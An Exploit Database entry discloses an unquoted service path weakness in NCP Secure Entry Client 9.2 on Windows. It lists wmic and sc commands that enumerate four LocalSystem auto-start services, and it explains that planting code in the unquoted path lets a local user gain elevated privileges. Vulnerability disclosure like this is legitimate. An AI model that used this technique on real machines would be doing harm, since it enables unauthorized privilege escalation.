



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths

EDB-ID:

47668

CVE:

N/A

EDB Verified: ✘

Author:

[AKIF MOHAMED IK](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2019-11-18

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: NCP_Secure_Entry_Client 9.2 - Unquoted Service Paths
# Date: 2019-11-17
# Exploit Author: Akif Mohamed Ik
# Vendor Homepage: http://software.ncp-e.com/
# Software Link: http://software.ncp-e.com/NCP_Secure_Entry_Client/Windows/9.2x/
# Version: 9.2x
# Tested on: Windows 7 SP1
# CVE : NA
C:\Users\user>wmic service get name, displayname, pathname, startmode |
findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v ""

ncprwsnt                                     ncprwsnt
      C:\Program Files (x86)\NCP\SecureClient\ncprwsnt.exe
      Auto

rwsrsu                                       rwsrsu
      C:\Program Files (x86)\NCP\SecureClient\rwsrsu.exe
      Auto

ncpclcfg                                     ncpclcfg
      C:\Program Files (x86)\NCP\SecureClient\ncpclcfg.exe
      Auto

NcpSec                                       NcpSec
      C:\Program Files (x86)\NCP\SecureClient\NCPSEC.EXE
      Auto

C:\Users\ADMIN>sc qc ncprwsnt
[SC] QueryServiceConfig SUCCESS
      SERVICE_NAME: ncprwsnt
      TYPE               : 10  WIN32_OWN_PROCESS
      START_TYPE          : 2   AUTO_START
      ERROR_CONTROL       : 1   NORMAL
      BINARY_PATH_NAME    : C:\Program Files
(x86)\NCP\SecureClient\ncprwsnt.exe
      LOAD_ORDER_GROUP   :
      TAG                 : 0
      DISPLAY_NAME        : ncprwsnt
      DEPENDENCIES        :
      SERVICE_START_NAME : LocalSystem

C:\Users\ADMIN>sc qc rwsrsu
[SC] QueryServiceConfig SUCCESS

      SERVICE_NAME       : rwsrsu
      TYPE                 : 110  WIN32_OWN_PROCESS (interactive)
      START_TYPE           : 2   AUTO_START
      ERROR_CONTROL        : 1   NORMAL
      BINARY_PATH_NAME     : C:\Program Files
(x86)\NCP\SecureClient\rwsrsu.exe
      LOAD_ORDER_GROUP    :
      TAG                  : 0
      DISPLAY_NAME         : rwsrsu
      DEPENDENCIES        :
      SERVICE_START_NAME  : LocalSystem

C:\Users\ADMIN>sc qc ncpclcfg
[SC] QueryServiceConfig SUCCESS

      SERVICE_NAME       : ncpclcfg
      TYPE                 : 110  WIN32_OWN_PROCESS (interactive)
      START_TYPE           : 2   AUTO_START
      ERROR_CONTROL        : 1   NORMAL
      BINARY_PATH_NAME     : C:\Program Files
(x86)\NCP\SecureClient\ncpclcfg.exe
      LOAD_ORDER_GROUP    :
      TAG                  : 0
      DISPLAY_NAME         : ncpclcfg
      DEPENDENCIES        :
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

SERVICE_START_NAME : LocalSystem

```
C:\Users\ADMIN>sc qc NcpSec
[SC] QueryServiceConfig SUCCESS
```

```

        SERVICE_NAME       : NcpSec
        TYPE                : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2    AUTO_START
        ERROR_CONTROL      : 1    NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\NCP\SecureClient\NCPSEC.EXE
        LOAD_ORDER_GROUP   :
        TAG                 : 0
        DISPLAY_NAME       : NcpSec
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.